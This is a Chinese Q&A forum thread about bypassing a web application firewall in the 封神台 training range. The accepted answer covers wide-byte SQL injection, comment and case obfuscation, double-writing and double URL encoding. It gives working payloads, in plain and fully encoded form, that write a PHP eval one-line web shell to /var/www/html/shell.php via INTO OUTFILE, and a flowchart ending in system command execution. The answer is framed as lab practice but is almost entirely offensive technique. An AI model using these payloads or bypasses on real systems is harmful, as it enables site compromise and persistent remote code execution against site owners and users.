普通网友 2026-01-16 09:25 采纳率: 97.9%
浏览 1
已采纳

封神台SQL注入如何绕过WAF获取shell?

在封神台靶场环境中,通过SQL注入绕过WAF获取Web Shell时,常遇到的问题是:常规的`union select`和`load_file()`等语句被WAF规则拦截,如何利用宽字节注入或注释变形(如`/**/`、`-- `+空格混淆)结合编码绕过(如URL编码、双写绕过)成功执行恶意payload,并借助into outfile写入一句话木马?该问题涉及对WAF过滤机制的理解与常见绕过技巧的实际应用。
  • 写回答

1条回答 默认 最新

  • 扶余城里小老二 2026-01-16 09:26
    关注

    1. SQL注入绕过WAF的基本原理与常见拦截机制

    在封神台靶场环境中,Web应用防火墙(WAF)通常会基于规则匹配对常见的SQL注入关键词进行拦截,如union selectload_file()into outfile等。这些语句一旦出现在请求参数中,极易触发WAF的正则检测规则。

    WAF的检测机制主要包括:

    • 关键字黑名单匹配(如"select", "union", "from")
    • 特殊字符过滤(如单引号、括号、分号)
    • 编码识别异常(如双重URL编码、宽字节编码)
    • 请求频率和行为模式分析

    因此,攻击者需通过变形、编码、注释混淆等方式,使恶意payload在传输过程中“伪装”成合法流量,从而绕过WAF的静态规则检测。

    2. 宽字节注入的利用原理与场景分析

    宽字节注入主要针对使用GBK或Big5等多字节编码的Web系统。当应用程序使用mysql_query("set names gbk")时,MySQL会将输入按GBK解析,此时可利用%df%5c等组合绕过单引号转义。

    典型流程如下:

    1. 原始输入:' OR 1=1 --
    2. 被转义为:\' OR 1=1 --
    3. 插入%df后变为:%df%5c → GBK下解析为“運”+反斜杠合并,吃掉转义符
    4. 最终执行:運OR 1=1 -- ,实现闭合绕过
    编码形式原始字符GBK解析结果作用
    %df%27'将%df与%27组合绕过破坏转义结构
    %df%5c運\反斜杠被吞并消除转义效果
    %a1%27ΰ'高位字符+引号构造非法但可执行语句

    3. 注释变形与空格混淆技术详解

    为绕过对union select的直接匹配,可通过注释符拆分关键字。例如:

    uni/**/on sel/**/ect 1,2,3
    -- 或
    uni-- %0auselect 1,2,3
    

    其中/**/作为多行注释替代空格,-- +配合URL编码后的空格(%0a或%0d%0a)实现逻辑延续。WAF若未递归还原注释内容,则无法识别完整关键词。

    常见变形方式包括:

    • uNiOn sElEcT —— 大小写交替绕过
    • ununionion seselectlect —— 双写绕过,删除重复词后还原
    • /*abc*/union/*xyz*/select —— 注释嵌入分割
    • union%0aselect —— 使用换行符替代空格

    4. 编码绕过策略:URL编码与双重编码实战

    许多WAF在预处理阶段仅解码一次,而目标服务器可能多次解码,造成“解码差”漏洞。例如:

    %2575%256e%2569%256f%256e %2573%2565%256c%2565%2563%2574
    

    该payload为“union select”的双重URL编码形式,WAF若不解码或仅解码一层,将无法识别其真实含义。服务端经两次解码后还原为原始语句。

    常用编码对照表:

    字符URL编码双重编码HTML实体
    u%75%2575u
    n%6e%256en
    o%6f%256fo
    i%69%2569i
    %20%2520 
    /%2f%252f/

    5. 构造恶意Payload并写入一句话木马

    当成功绕过WAF并获得联合查询权限后,可尝试使用INTO OUTFILE写入PHP一句话木马。示例payload:

    1'/**/UNION/**/SELECT/**/1,2,'<?php @eval($_POST[cmd]);?>',4 INTO OUTFILE '/var/www/html/shell.php'-- 
    

    结合编码与注释变形,可进一步混淆:

    1%27%20%2f%2a%61%2a%2f%55%4e%49%4f%4e%2f%2a%62%2a%2f%53%45%4c%45%43%54%2f%2a%63%2a%2f%31%2c%32%2c%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%2c%34%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%2d%2d%20
    

    此payload经过URL编码与注释插桩,能有效规避多数基于签名的WAF规则。

    6. Mermaid流程图:从注入点到Web Shell获取的全过程

    graph TD
        A[发现注入点] --> B{是否存在WAF}
        B -- 是 --> C[尝试宽字节注入]
        B -- 否 --> D[直接union select探测]
        C --> E[使用%df%5c绕过转义]
        E --> F[构造注释分割payload]
        F --> G[采用双重URL编码混淆]
        G --> H[执行INTO OUTFILE写入文件]
        H --> I[访问shell.php获取Web Shell]
        D --> H
        I --> J[执行系统命令,完成渗透]
    

    7. 实战建议与防御对抗思路

    在封神台靶场中模拟真实环境时,应综合运用多种绕过技术。例如:

    • 优先测试字符编码是否为GBK,确认宽字节注入可行性
    • 使用Burp Suite的Intruder模块批量测试不同注释形式
    • 编写Python脚本自动编码payload并发送请求
    • 监控响应长度与状态码变化,判断写入是否成功
    • 尝试不同路径(如/htdocs/, /www/, /var/www/html)避免路径错误

    同时应注意,现代WAF已引入机器学习与上下文分析,单纯变形可能失效,需结合时间盲注、DNS带外回显等高级技巧。

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 1月17日
  • 创建了问题 1月16日